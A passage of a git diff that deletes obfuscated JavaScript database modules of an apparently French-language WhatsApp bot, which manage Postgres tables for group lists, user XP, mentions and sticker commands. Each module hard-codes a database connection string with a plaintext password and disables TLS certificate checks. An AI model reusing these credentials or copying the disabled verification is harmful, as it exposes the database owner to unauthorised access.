0groupe\x20à\x20la\x20liste\x20de\x20hentai\x20:','2552oExzNM','456QYQusn','log','7105870MyyJKP','56652temBPD','121780laEkqC','../set','release','La\x20table\x20\x27hentai\x27\x20avec\x20\x27groupeJid\x27\x20comme\x20clé\x20primaire\x20a\x20été\x20créée\x20avec\x20succès.','\x20a\x20été\x20ajouté\x20à\x20la\x20liste\x20de\x20hentai.','16NOTTcZ','Le\x20groupe\x20JID\x20'];_0x2264=function(){return _0x48db44;};return _0x2264();}const proConfig={'connectionString':dbUrl,'ssl':{'rejectUnauthorized':![]}},pool=new Pool(proConfig),creerTableHentai=async()=>{const _0x46c97a=_0x5efca7;try{await pool[_0x46c97a(0xea)](_0x46c97a(0xec)),console['log'](_0x46c97a(0xd7));}catch(_0x5ec7ad){console[_0x46c97a(0xdc)](_0x46c97a(0xe9),_0x5ec7ad);}};creerTableHentai();async function addToHentaiList(_0x422658){const _0x5c6b63=_0x5efca7,_0x59853b=await pool['connect']();try{const _0x5e8c31=_0x5c6b63(0xdd),_0x1fcfab=[_0x422658];await _0x59853b['query'](_0x5e8c31,_0x1fcfab),console[_0x5c6b63(0xd1)](_0x5c6b63(0xda)+_0x422658+_0x5c6b63(0xd8));}catch(_0x59153c){console[_0x5c6b63(0xdc)](_0x5c6b63(0xce),_0x59153c);}finally{_0x59853b[_0x5c6b63(0xd6)]();}}function _0x41a0(_0x275972,_0xcb7292){const _0x2264b0=_0x2264();return _0x41a0=function(_0x41a02c,_0x1f708d){_0x41a02c=_0x41a02c-0xcb;let _0x21e235=_0x2264b0[_0x41a02c];return _0x21e235;},_0x41a0(_0x275972,_0xcb7292);}async function checkFromHentaiList(_0x5276e1){const _0x5adf39=_0x5efca7,_0x2cf7cb=await pool[_0x5adf39(0xe4)]();try{const _0x2be52c=_0x5adf39(0xdb),_0x57953c=[_0x5276e1],_0x5e456a=await _0x2cf7cb[_0x5adf39(0xea)](_0x2be52c,_0x57953c);return _0x5e456a[_0x5adf39(0xcd)][0x0][_0x5adf39(0xcb)];}catch(_0x4767ee){return console['error'](_0x5adf39(0xe1),_0x4767ee),![];}finally{_0x2cf7cb[_0x5adf39(0xd6)]();}}async function removeFromHentaiList(_0x1dea43){const _0x116ca8=_0x5efca7,_0x1b7d73=await pool[_0x116ca8(0xe4)]();try{const _0x44ac04=_0x116ca8(0xe6),_0x5acf06=[_0x1dea43];await _0x1b7d73[_0x116ca8(0xea)](_0x44ac04,_0x5acf06),console['log'](_0x116ca8(0xda)+_0x1dea43+_0x116ca8(0xdf));}catch(_0x298628){console['error'](_0x116ca8(0xde),_0x298628);}finally{_0x1b7d73[_0x116ca8(0xd6)]();}}module[_0x5efca7(0xeb)]={'addToHentaiList':addToHentaiList,'checkFromHentaiList':checkFromHentaiList,'removeFromHentaiList':removeFromHentaiList}; \ No newline at end of file diff --git a/bdd/level.js b/bdd/level.js deleted file mode 100644 index 70f06364..00000000 --- a/bdd/level.js +++ /dev/null @@ -1 +0,0 @@ -function _0x177f(){const _0x407c7f=['2mzcueX','error','UPDATE\x20users_rank\x20SET\x20xp\x20=\x20xp\x20+\x2010,\x20messages\x20=\x20messages\x20+\x201\x20WHERE\x20jid\x20=\x20$1','14749262GtrcPu','length','20wIcRQE','63faTZwy','query','10soafFM','dotenv','release','rows','866748AMfdvQ','647634YxlVia','exports','SELECT\x20*\x20FROM\x20users_rank\x20WHERE\x20jid\x20=\x20$1','../set','config','Erreur\x20lors\x20de\x20la\x20récupération\x20des\x20données\x20de\x20l\x27utilisateur:','SELECT\x20jid,\x20xp\x20,\x20messages\x20FROM\x20users_rank\x20ORDER\x20BY\x20xp\x20DESC\x20LIMIT\x2010','3468519eqFZWj','Erreur\x20lors\x20de\x20la\x20mise\x20à\x20jour\x20des\x20données\x20de\x20l\x27utilisateur:','278741yaLffR','Erreur\x20lors\x20de\x20la\x20récupération\x20du\x20bottom\x2010\x20des\x20utilisateurs:','464619sckxeR','connect','DATABASE_URL','329928mYeirs','Erreur\x20lors\x20de\x20la\x20création\x20de\x20la\x20table\x20users_rank:'];_0x177f=function(){return _0x407c7f;};return _0x177f();}const _0x3b5aca=_0x5d2e;function _0x5d2e(_0x45ac05,_0x4c0c1b){const _0x177ffe=_0x177f();return _0x5d2e=function(_0x5d2e26,_0xe0f093){_0x5d2e26=_0x5d2e26-0x15b;let _0xe486ec=_0x177ffe[_0x5d2e26];return _0xe486ec;},_0x5d2e(_0x45ac05,_0x4c0c1b);}(function(_0x22c97f,_0x52623a){const _0x3acf58=_0x5d2e,_0x4288cd=_0x22c97f();while(!![]){try{const _0x1dfae3=parseInt(_0x3acf58(0x177))/0x1*(-parseInt(_0x3acf58(0x161))/0x2)+parseInt(_0x3acf58(0x15c))/0x3+parseInt(_0x3acf58(0x16d))/0x4+parseInt(_0x3acf58(0x166))/0x5*(-parseInt(_0x3acf58(0x16e))/0x6)+parseInt(_0x3acf58(0x167))/0x7*(-parseInt(_0x3acf58(0x15f))/0x8)+parseInt(_0x3acf58(0x175))/0x9*(-parseInt(_0x3acf58(0x169))/0xa)+parseInt(_0x3acf58(0x164))/0xb;if(_0x1dfae3===_0x52623a)break;else _0x4288cd['push'](_0x4288cd['shift']());}catch(_0x1f5212){_0x4288cd['push'](_0x4288cd['shift']());}}}(_0x177f,0x3be61),require(_0x3b5aca(0x16a))[_0x3b5aca(0x172)]());const {Pool}=require('pg'),s=require(_0x3b5aca(0x171)),dbUrl=s[_0x3b5aca(0x15e)]?s[_0x3b5aca(0x15e)]:'postgres://db_7xp9_user:6hwmTN7rGPNsjlBEHyX49CXwrG7cDeYi@dpg-cj7ldu5jeehc73b2p7g0-a.oregon-postgres.render.com/db_7xp9',proConfig={'connectionString':dbUrl,'ssl':{'rejectUnauthorized':![]}},pool=new Pool(proConfig);async function createUsersRankTable(){const _0x230468=_0x3b5aca,_0x813f41=await pool[_0x230468(0x15d)]();try{await _0x813f41[_0x230468(0x168)]('\x0a\x20\x20\x20\x20\x20\x20CREATE\x20TABLE\x20IF\x20NOT\x20EXISTS\x20users_rank\x20(\x0a\x20\x20\x20\x20\x20\x20\x20\x20id\x20SERIAL\x20PRIMARY\x20KEY,\x0a\x20\x20\x20\x20\x20\x20\x20\x20jid\x20VARCHAR(255)\x20UNIQUE,\x0a\x20\x20\x20\x20\x20\x20\x20\x20xp\x20INTEGER\x20DEFAULT\x200,\x0a\x20\x20\x20\x20\x20\x20\x20\x20messages\x20INTEGER\x20DEFAULT\x200\x0a\x20\x20\x20\x20\x20\x20);\x0a\x20\x20\x20\x20');}catch(_0x24ef62){console['error'](_0x230468(0x160),_0x24ef62);}finally{_0x813f41['release']();}}async function ajouterOuMettreAJourUserData(_0x22bbbf){const _0x3500dd=_0x3b5aca,_0x498bfc=await pool[_0x3500dd(0x15d)]();try{const _0x33f267=await _0x498bfc[_0x3500dd(0x168)](_0x3500dd(0x170),[_0x22bbbf]),_0x58cf3a=_0x33f267[_0x3500dd(0x16c)][_0x3500dd(0x165)]>0x0;_0x58cf3a?await _0x498bfc[_0x3500dd(0x168)](_0x3500dd(0x163),[_0x22bbbf]):await _0x498bfc['query']('INSERT\x20INTO\x20users_rank\x20(jid,\x20xp,\x20messages)\x20VALUES\x20($1,\x20$2,\x20$3)',[_0x22bbbf,0xa,0x1]);}catch(_0x3c6529){console['error'](_0x3500dd(0x176),_0x3c6529);}finally{_0x498bfc[_0x3500dd(0x16b)]();}};async function getMessagesAndXPByJID(_0x56de18){const _0x1542b1=_0x3b5aca,_0x26e61b=await pool[_0x1542b1(0x15d)]();try{const _0x275e86='SELECT\x20messages,\x20xp\x20FROM\x20users_rank\x20WHERE\x20jid\x20=\x20$1',_0x2e71bf=await _0x26e61b[_0x1542b1(0x168)](_0x275e86,[_0x56de18]);if(_0x2e71bf[_0x1542b1(0x16c)][_0x1542b1(0x165)]>0x0){const {messages:_0x58c721,xp:_0x2d2579}=_0x2e71bf[_0x1542b1(0x16c)][0x0];return{'messages':_0x58c721,'xp':_0x2d2579};}else return{'messages':0x0,'xp':0x0};}catch(_0x371323){return console[_0x1542b1(0x162)](_0x1542b1(0x173),_0x371323),{'messages':0x0,'xp':0x0};}finally{_0x26e61b[_0x1542b1(0x16b)]();}}async function getBottom10Users(){const _0x586ae8=_0x3b5aca,_0x46f87e=await pool['connect']();try{const _0x5a2a65=_0x586ae8(0x174),_0x144dca=await _0x46f87e[_0x586ae8(0x168)](_0x5a2a65);return _0x144dca[_0x586ae8(0x16c)];}catch(_0x59b622){return console[_0x586ae8(0x162)](_0x586ae8(0x15b),_0x59b622),[];}finally{_0x46f87e[_0x586ae8(0x16b)]();}}createUsersRankTable(),module[_0x3b5aca(0x16f)]={'ajouterOuMettreAJourUserData':ajouterOuMettreAJourUserData,'getMessagesAndXPByJID':getMessagesAndXPByJID,'getBottom10Users':getBottom10Users}; \ No newline at end of file diff --git a/bdd/mention.js b/bdd/mention.js deleted file mode 100644 index 02c8259f..00000000 --- a/bdd/mention.js +++ /dev/null @@ -1 +0,0 @@ -const _0x993125=_0x47a3;(function(_0x4d5c86,_0x322cb6){const _0x57dce4=_0x47a3,_0xb0ee1=_0x4d5c86();while(!![]){try{const _0x5b2b2d=parseInt(_0x57dce4(0x1ca))/0x1+-parseInt(_0x57dce4(0x1da))/0x2*(-parseInt(_0x57dce4(0x1df))/0x3)+-parseInt(_0x57dce4(0x1dc))/0x4*(-parseInt(_0x57dce4(0x1ce))/0x5)+parseInt(_0x57dce4(0x1d4))/0x6*(-parseInt(_0x57dce4(0x1cd))/0x7)+-parseInt(_0x57dce4(0x1d5))/0x8*(-parseInt(_0x57dce4(0x1e1))/0x9)+-parseInt(_0x57dce4(0x1c8))/0xa+-parseInt(_0x57dce4(0x1d0))/0xb*(parseInt(_0x57dce4(0x1c7))/0xc);if(_0x5b2b2d===_0x322cb6)break;else _0xb0ee1['push'](_0xb0ee1['shift']());}catch(_0xdf1342){_0xb0ee1['push'](_0xb0ee1['shift']());}}}(_0x2984,0xe50eb),require(_0x993125(0x1cf))[_0x993125(0x1c5)]());function _0x47a3(_0x4be9b0,_0x1ee0c9){const _0x298434=_0x2984();return _0x47a3=function(_0x47a358,_0x269424){_0x47a358=_0x47a358-0x1c5;let _0x6ef98b=_0x298434[_0x47a358];return _0x6ef98b;},_0x47a3(_0x4be9b0,_0x1ee0c9);}const {Pool}=require('pg'),s=require('../set');var dbUrl=s[_0x993125(0x1d7)]?s[_0x993125(0x1d7)]:_0x993125(0x1de);const proConfig={'connectionString':dbUrl,'ssl':{'rejectUnauthorized':![]}},pool=new Pool(proConfig);async function creerTableMention(){const _0x21095d=_0x993125,_0x2e0551=await pool[_0x21095d(0x1d9)]();try{await _0x2e0551[_0x21095d(0x1e0)](_0x21095d(0x1d3)),console[_0x21095d(0x1c6)]('La\x20table\x20\x27mention\x27\x20a\x20été\x20créée\x20avec\x20succès.');}catch(_0x41e852){console[_0x21095d(0x1d1)](_0x21095d(0x1cc),_0x41e852);}finally{_0x2e0551['release']();}};function _0x2984(){const _0xc82e3a=['config','log','60RBDRsA','7643100bZBryy','Voici\x20toutes\x20les\x20valeurs\x20de\x20la\x20table\x20\x27mention\x27:','1278976iPDqoL','\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20SELECT\x20*\x20FROM\x20mention;\x0a\x20\x20\x20\x20\x20\x20\x20\x20','Une\x20erreur\x20est\x20survenue\x20lors\x20de\x20la\x20création\x20de\x20la\x20table\x20\x27mention\x27:','1529129TRRzQj','4983330poybjb','dotenv','1734557jhAIAt','error','release','\x0a\x20\x20\x20\x20\x20\x20\x20\x20CREATE\x20TABLE\x20IF\x20NOT\x20EXISTS\x20mention\x20(\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20id\x20serial\x20PRIMARY\x20KEY,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20status\x20text\x20DEFAULT\x20\x27non\x27,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20url\x20text,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20type\x20text,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20message\x20text\x0a\x20\x20\x20\x20\x20\x20\x20\x20);\x0a\x20\x20\x20\x20\x20\x20','6imWnCC','80DsLjzL','Erreur\x20lors\x20de\x20l\x27ajout\x20ou\x20de\x20la\x20mise\x20à\x20jour\x20des\x20données\x20dans\x20la\x20table\x20\x27mention\x27:','DATABASE_URL','rows','connect','2iiKNLp','\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20INSERT\x20INTO\x20mention\x20(id,\x20url,\x20type,\x20message)\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20VALUES\x20(1,\x20$1,\x20$2,\x20$3)\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ON\x20CONFLICT\x20(id)\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20DO\x20UPDATE\x20SET\x20\x20url\x20=\x20excluded.url,\x20type\x20=\x20excluded.type\x20,\x20message\x20=\x20excluded.message;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20','4VHfojU','exports','postgres://db_7xp9_user:6hwmTN7rGPNsjlBEHyX49CXwrG7cDeYi@dpg-cj7ldu5jeehc73b2p7g0-a.oregon-postgres.render.com/db_7xp9','36867tRoLWP','query','379332aPOUEC','Erreur\x20lors\x20de\x20la\x20récupération\x20des\x20valeurs\x20de\x20la\x20table\x20\x27mention\x27:'];_0x2984=function(){return _0xc82e3a;};return _0x2984();}creerTableMention();async function addOrUpdateDataInMention(_0x21f5f3,_0x3248aa,_0x173a1c){const _0x1e4eb3=_0x993125,_0x2815c3=await pool[_0x1e4eb3(0x1d9)]();try{const _0x1caa44=_0x1e4eb3(0x1db),_0x213235=[_0x21f5f3,_0x3248aa,_0x173a1c];await _0x2815c3[_0x1e4eb3(0x1e0)](_0x1caa44,_0x213235),console[_0x1e4eb3(0x1c6)]('Données\x20ajoutées\x20ou\x20mises\x20à\x20jour\x20dans\x20la\x20table\x20\x27mention\x27\x20avec\x20succès.');}catch(_0x474a57){console['error'](_0x1e4eb3(0x1d6),_0x474a57);}finally{_0x2815c3[_0x1e4eb3(0x1d2)]();}};async function modifierStatusId1(_0x423842){const _0xaae96f=_0x993125,_0x3d015e=await pool[_0xaae96f(0x1d9)]();try{const _0x5a1f06='\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20UPDATE\x20mention\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20SET\x20status\x20=\x20$1\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20WHERE\x20id\x20=\x201;\x0a\x20\x20\x20\x20\x20\x20\x20\x20',_0x242b39=[_0x423842];await _0x3d015e[_0xaae96f(0x1e0)](_0x5a1f06,_0x242b39),console[_0xaae96f(0x1c6)]('Le\x20status\x20a\x20été\x20modifié\x20avec\x20succès\x20pour\x20l\x27ID\x201\x20dans\x20la\x20table\x20\x27mention\x27.');}catch(_0x538c7b){console[_0xaae96f(0x1d1)]('Erreur\x20lors\x20de\x20la\x20modification\x20du\x20status\x20pour\x20l\x27ID\x201\x20dans\x20la\x20table\x20\x27mention\x27:',_0x538c7b);}finally{_0x3d015e[_0xaae96f(0x1d2)]();}};async function recupererToutesLesValeurs(){const _0x1a0827=_0x993125,_0x2bfe2d=await pool['connect']();try{const _0x120717=_0x1a0827(0x1cb),_0x576257=await _0x2bfe2d['query'](_0x120717);return console[_0x1a0827(0x1c6)](_0x1a0827(0x1c9),_0x576257[_0x1a0827(0x1d8)]),_0x576257[_0x1a0827(0x1d8)];}catch(_0x15018a){console[_0x1a0827(0x1d1)](_0x1a0827(0x1e2),_0x15018a);}finally{_0x2bfe2d[_0x1a0827(0x1d2)]();}};module[_0x993125(0x1dd)]={'addOrUpdateDataInMention':addOrUpdateDataInMention,'recupererToutesLesValeurs':recupererToutesLesValeurs,'modifierStatusId1':modifierStatusId1}; \ No newline at end of file diff --git a/bdd/onlyAdmin.js b/bdd/onlyAdmin.js deleted file mode 100644 index 551362ca..00000000 --- a/bdd/onlyAdmin.js +++ /dev/null @@ -1 +0,0 @@ -function _0x1efa(_0x1df82b,_0x316c9a){const _0x1decb4=_0x1dec();return _0x1efa=function(_0x1efa27,_0x3070b7){_0x1efa27=_0x1efa27-0x85;let _0x4fe9a7=_0x1decb4[_0x1efa27];return _0x4fe9a7;},_0x1efa(_0x1df82b,_0x316c9a);}const _0x3dd9ce=_0x1efa;(function(_0x10c7db,_0x1915d0){const _0x32fa21=_0x1efa,_0x5ebfb0=_0x10c7db();while(!![]){try{const _0x1cfd14=parseInt(_0x32fa21(0x90))/0x1+-parseInt(_0x32fa21(0xa1))/0x2*(-parseInt(_0x32fa21(0x96))/0x3)+-parseInt(_0x32fa21(0x9e))/0x4+-parseInt(_0x32fa21(0x9f))/0x5*(parseInt(_0x32fa21(0x8c))/0x6)+parseInt(_0x32fa21(0x87))/0x7+parseInt(_0x32fa21(0x9a))/0x8+parseInt(_0x32fa21(0x8f))/0x9*(-parseInt(_0x32fa21(0x95))/0xa);if(_0x1cfd14===_0x1915d0)break;else _0x5ebfb0['push'](_0x5ebfb0['shift']());}catch(_0x2af3a6){_0x5ebfb0['push'](_0x5ebfb0['shift']());}}}(_0x1dec,0x2ec38),require(_0x3dd9ce(0x92))[_0x3dd9ce(0x99)]());const {Pool}=require('pg'),s=require('../set');var dbUrl=s['DATABASE_URL']?s[_0x3dd9ce(0x88)]:_0x3dd9ce(0x8a);const proConfig={'connectionString':dbUrl,'ssl':{'rejectUnauthorized':![]}},pool=new Pool(proConfig),creerTableOnlyAdmin=async()=>{const _0x5c2f76=_0x3dd9ce;try{await pool[_0x5c2f76(0x8d)]('\x0a\x20\x20\x20\x20\x20\x20CREATE\x20TABLE\x20IF\x20NOT\x20EXISTS\x20onlyAdmin\x20(\x0a\x20\x20\x20\x20\x20\x20\x20\x20groupeJid\x20text\x20PRIMARY\x20KEY\x0a\x20\x20\x20\x20\x20\x20);\x0a\x20\x20\x20\x20'),console[_0x5c2f76(0x9b)](_0x5c2f76(0x8e));}catch(_0x2328af){console[_0x5c2f76(0x86)]('Une\x20erreur\x20est\x20survenue\x20lors\x20de\x20la\x20création\x20de\x20la\x20table\x20\x27onlyAdmin\x27:',_0x2328af);}};creerTableOnlyAdmin();async function addGroupToOnlyAdminList(_0x3a7fbe){const _0x516041=_0x3dd9ce,_0x5f99c=await pool['connect']();try{const _0x1122eb=_0x516041(0x9c),_0x1d7cb8=[_0x3a7fbe];await _0x5f99c[_0x516041(0x8d)](_0x1122eb,_0x1d7cb8),console[_0x516041(0x9b)]('Groupe\x20JID\x20'+_0x3a7fbe+_0x516041(0x89));}catch(_0xf7308a){console[_0x516041(0x86)](_0x516041(0xa2),_0xf7308a);}finally{_0x5f99c[_0x516041(0xa3)]();}}async function isGroupOnlyAdmin(_0xf0ac1b){const _0x5e5843=_0x3dd9ce,_0x1f71a5=await pool[_0x5e5843(0x97)]();try{const _0x3247ea=_0x5e5843(0x8b),_0x375505=[_0xf0ac1b],_0x1dcdd6=await _0x1f71a5[_0x5e5843(0x8d)](_0x3247ea,_0x375505);return _0x1dcdd6[_0x5e5843(0xa0)][0x0][_0x5e5843(0x91)];}catch(_0x44bf3c){return console['error'](_0x5e5843(0x94),_0x44bf3c),![];}finally{_0x1f71a5['release']();}}async function removeGroupFromOnlyAdminList(_0x111771){const _0x235059=_0x3dd9ce,_0x58e59e=await pool[_0x235059(0x97)]();try{const _0x20a1ae=_0x235059(0x93),_0x3a3567=[_0x111771];await _0x58e59e[_0x235059(0x8d)](_0x20a1ae,_0x3a3567),console[_0x235059(0x9b)](_0x235059(0x98)+_0x111771+_0x235059(0x9d));}catch(_0x294c35){console[_0x235059(0x86)]('Erreur\x20lors\x20de\x20la\x20suppression\x20du\x20groupe\x20onlyAdmin\x20:',_0x294c35);}finally{_0x58e59e[_0x235059(0xa3)]();}}module[_0x3dd9ce(0x85)]={'addGroupToOnlyAdminList':addGroupToOnlyAdminList,'isGroupOnlyAdmin':isGroupOnlyAdmin,'removeGroupFromOnlyAdminList':removeGroupFromOnlyAdminList};function _0x1dec(){const _0x136be9=['5jCnqUf','rows','722498vLKLSx','Erreur\x20lors\x20de\x20l\x27ajout\x20du\x20groupe\x20onlyAdmin\x20:','release','exports','error','1963346fbPyFt','DATABASE_URL','\x20ajouté\x20à\x20la\x20liste\x20des\x20groupes\x20onlyAdmin.','postgres://db_7xp9_user:6hwmTN7rGPNsjlBEHyX49CXwrG7cDeYi@dpg-cj7ldu5jeehc73b2p7g0-a.oregon-postgres.render.com/db_7xp9','SELECT\x20EXISTS\x20(SELECT\x201\x20FROM\x20onlyAdmin\x20WHERE\x20groupeJid\x20=\x20$1)','642822knuJky','query','La\x20table\x20\x27onlyAdmin\x27\x20a\x20été\x20créée\x20avec\x20succès.','3509739lIYXjE','364923EmWGOf','exists','dotenv','DELETE\x20FROM\x20onlyAdmin\x20WHERE\x20groupeJid\x20=\x20$1','Erreur\x20lors\x20de\x20la\x20vérification\x20du\x20groupe\x20onlyAdmin\x20:','20GMjTTY','3CizORI','connect','Groupe\x20JID\x20','config','818088ZqdiHc','log','INSERT\x20INTO\x20onlyAdmin\x20(groupeJid)\x20VALUES\x20($1)','\x20supprimé\x20de\x20la\x20liste\x20des\x20groupes\x20onlyAdmin.','121152kbKbwY'];_0x1dec=function(){return _0x136be9;};return _0x1dec();} \ No newline at end of file diff --git a/bdd/stickcmd.js b/bdd/stickcmd.js deleted file mode 100644 index 798eca62..00000000 --- a/bdd/stickcmd.js +++ /dev/null @@ -1 +0,0 @@ -const _0x5988bd=_0x4d8f;(function(_0x1be5b6,_0x1851d){const _0x367375=_0x4d8f,_0x19be6f=_0x1be5b6();while(!![]){try{const _0x9cc4b=-parseInt(_0x367375(0x18d))/0x1*(-parseInt(_0x367375(0x184))/0x2)+parseInt(_0x367375(0x18a))/0x3*(parseInt(_0x367375(0x17e))/0x4)+parseInt(_0x367375(0x188))/0x5*(parseInt(_0x367375(0x17d))/0x6)+-parseInt(_0x367375(0x179))/0x7*(-parseInt(_0x367375(0x192))/0x8)+-parseInt(_0x367375(0x191))/0x9*(parseInt(_0x367375(0x187))/0xa)+-parseInt(_0x367375(0x189))/0xb*(-parseInt(_0x367375(0x199))/0xc)+-parseInt(_0x367375(0x186))/0xd*(parseInt(_0x367375(0x180))/0xe);if(_0x9cc4b===_0x1851d)break;else _0x19be6f['push'](_0x19be6f['shift']());}catch(_0x323e2a){_0x19be6f['push'](_0x19be6f['shift']());}}}(_0x5b24,0xe7440),require('dotenv')[_0x5988bd(0x18f)]());const {Pool}=require('pg'),s=require('../set');var dbUrl=s[_0x5988bd(0x181)]?s[_0x5988bd(0x181)]:_0x5988bd(0x197);const proConfig={'connectionString':dbUrl,'ssl':{'rejectUnauthorized':![]}},pool=new Pool(proConfig);function _0x5b24(){const _0xe5c73f=['log','6921657zFjfhr','16904MuVaSS','Le\x20stickcmd\x20','Erreur\x20lors\x20de\x20l\x27ajout\x20du\x20stickcmd','rows','La\x20table\x20\x27stickcmd\x27\x20a\x20été\x20créée\x20avec\x20succès.','postgres://db_7xp9_user:6hwmTN7rGPNsjlBEHyX49CXwrG7cDeYi@dpg-cj7ldu5jeehc73b2p7g0-a.oregon-postgres.render.com/db_7xp9','Erreur\x20lors\x20de\x20la\x20récupération\x20de\x20toutes\x20les\x20commandes\x20stickcmd\x20:','21247404evQAWI','connect','SELECT\x20cmd\x20FROM\x20stickcmd','Erreur\x20lors\x20de\x20la\x20suppression\x20du\x20stickcmd\x20:','5537dNoqbc','Une\x20erreur\x20est\x20survenue\x20lors\x20de\x20la\x20création\x20de\x20la\x20table\x20\x27stickcmd\x27:','exists','INSERT\x20INTO\x20stickcmd(cmd,\x20id)\x20VALUES\x20($1,\x20$2)','60eCHjSG','4dgGIjx','length','59985884wHjtCq','DATABASE_URL','error','query','2425788wSGWut','\x20a\x20été\x20supprimé\x20de\x20la\x20liste.','13QrbUWb','10RyKFJs','203920RqgsDF','11CgoOJg','2814927QPcczQ','release','SELECT\x20cmd\x20FROM\x20stickcmd\x20WHERE\x20id\x20=\x20$1','1FdHBtf','SELECT\x20\x20EXISTS\x20(SELECT\x201\x20FROM\x20stickcmd\x20WHERE\x20id\x20=\x20$1)','config'];_0x5b24=function(){return _0xe5c73f;};return _0x5b24();}async function creerTableStickcmd(){const _0x3b5b61=_0x5988bd;try{await pool[_0x3b5b61(0x183)]('\x0a\x20\x20\x20\x20\x20\x20CREATE\x20TABLE\x20IF\x20NOT\x20EXISTS\x20stickcmd\x20(\x0a\x20\x20\x20\x20\x20\x20\x20\x20cmd\x20text\x20PRIMARY\x20KEY,\x0a\x20\x20\x20\x20\x20\x20\x20\x20id\x20text\x20NOT\x20NULL\x0a\x20\x20\x20\x20\x20\x20);\x0a\x20\x20\x20\x20'),console['log'](_0x3b5b61(0x196));}catch(_0xcee2ed){console['error'](_0x3b5b61(0x17a),_0xcee2ed);}}creerTableStickcmd();async function addstickcmd(_0x791ef5,_0x16ab3a){const _0x4b2ce8=_0x5988bd;let _0x1b4361;try{_0x1b4361=await pool[_0x4b2ce8(0x19a)]();const _0xce69cf=_0x4b2ce8(0x17c),_0x2480ac=[_0x791ef5,_0x16ab3a];await _0x1b4361[_0x4b2ce8(0x183)](_0xce69cf,_0x2480ac);}catch(_0x2da205){console[_0x4b2ce8(0x190)](_0x4b2ce8(0x194),_0x2da205);}finally{_0x1b4361&&_0x1b4361['release']();}}async function inStickCmd(_0x27dffe){const _0x18aa65=_0x5988bd;let _0x397af4;try{_0x397af4=await pool[_0x18aa65(0x19a)]();const _0x489212=_0x18aa65(0x18e),_0x1e7f57=[_0x27dffe],_0x2f1782=await _0x397af4[_0x18aa65(0x183)](_0x489212,_0x1e7f57);return _0x2f1782['rows'][0x0][_0x18aa65(0x17b)];}catch(_0x59e0c0){return![];}finally{_0x397af4&&_0x397af4[_0x18aa65(0x18b)]();}}async function deleteCmd(_0x145662){const _0x1579b8=_0x5988bd,_0x37d0a0=await pool[_0x1579b8(0x19a)]();try{const _0x13313f='DELETE\x20FROM\x20stickcmd\x20WHERE\x20cmd\x20=\x20$1',_0x2366f6=[_0x145662];await _0x37d0a0[_0x1579b8(0x183)](_0x13313f,_0x2366f6),console[_0x1579b8(0x190)](_0x1579b8(0x193)+_0x145662+_0x1579b8(0x185));}catch(_0x59aa67){console[_0x1579b8(0x182)](_0x1579b8(0x178),_0x59aa67);}finally{_0x37d0a0[_0x1579b8(0x18b)]();}};async function getCmdById(_0xba0f01){const _0x10e117=_0x5988bd;let _0x2adcad;try{_0x2adcad=await pool['connect']();const _0x44451e=_0x10e117(0x18c),_0xeaeb6b=[_0xba0f01],_0x2f0655=await _0x2adcad[_0x10e117(0x183)](_0x44451e,_0xeaeb6b);return _0x2f0655[_0x10e117(0x195)][_0x10e117(0x17f)]>0x0?_0x2f0655[_0x10e117(0x195)][0x0]['cmd']:null;}catch(_0x1a0652){return console[_0x10e117(0x182)]('Erreur\x20lors\x20de\x20la\x20récupération\x20du\x20stickcmd\x20par\x20id\x20:',_0x1a0652),null;}finally{_0x2adcad&&_0x2adcad[_0x10e117(0x18b)]();}};function _0x4d8f(_0x5012cb,_0x1bc5b2){const _0x5b247b=_0x5b24();return _0x4d8f=function(_0x4d8fe3,_0x5ab37d){_0x4d8fe3=_0x4d8fe3-0x177;let _0x449324=_0x5b247b[_0x4d8fe3];return _0x449324;},_0x4d8f(_0x5012cb,_0x1bc5b2);}async function getAllStickCmds(){const _0x209430=_0x5988bd,_0x219be8=await pool['connect']();try{const _0x36c435=_0x209430(0x177),_0x2b7380=await _0x219be8[_0x209430(0x183)](_0x36c435);return _0x2b7380[_0x209430(0x195)];}catch(_0xe4c6d0){return console[_0x209430(0x182)](_0x209430(0x198),_0xe4c6d0),[];}finally{_0x219be8[_0x209430(0x18b)]();}};module['exports']={'addstickcmd':addstickcmd,'deleteCmd':deleteCmd,'getCmdById':getCmdById,'inStickCmd':inStickCmd,'getAllStickCmds':getAllStickCmds}; \ No newline at end of file diff --git a/bdd/sudo.js b/bdd/sudo.js deleted file mode 100644 index b5454316..00000000 --- a/bdd/sudo.js +++ /dev/null @@ -1 +0,0 @@ -const _0x2bae69=_0x2609;(function(_0x2ff54e,_0x4604d8){const _0x4e3bb3=_0x2609,_0x3c60c2=_0x2ff54e();while(!![]){try{const _0x4d3082=-parseInt(_0x4e3bb3(0x19e))/0x1*(-parseInt(_0x4e3bb3(0x19f))/0x2)+parseInt(_0x4e3bb3(0x191))/0x3+parseInt(_0x4e3bb3(0x181))/0x4+parseInt(_0x4e3bb3(0x1a4))/0x5+-parseInt(_0x4e3bb3(0x190))/0x6*(-parseInt(_0x4e3bb3(0x189))/0x7)+parseInt(_0x4e3bb3(0x199))/0x8*(parseInt(_0x4e3bb3(0x17f))/0x9)+-parseInt(_0x4e3bb3(0x1a2))/0xa;if(_0x4d3082===_0x4604d8)break;else _0x3c60c2['push'](_0x3c60c2['shift']());}catch(_0x2a6774){_0x3c60c2['push'](_0x3c60c2['shift']());}}}(_0x2189,0xcf28d),require(_0x2bae69(0x196))[_0x2bae69(0x1a0)]());const {Pool}=require('pg'),s=require(_0x2bae69(0x198));function _0x2189(){const 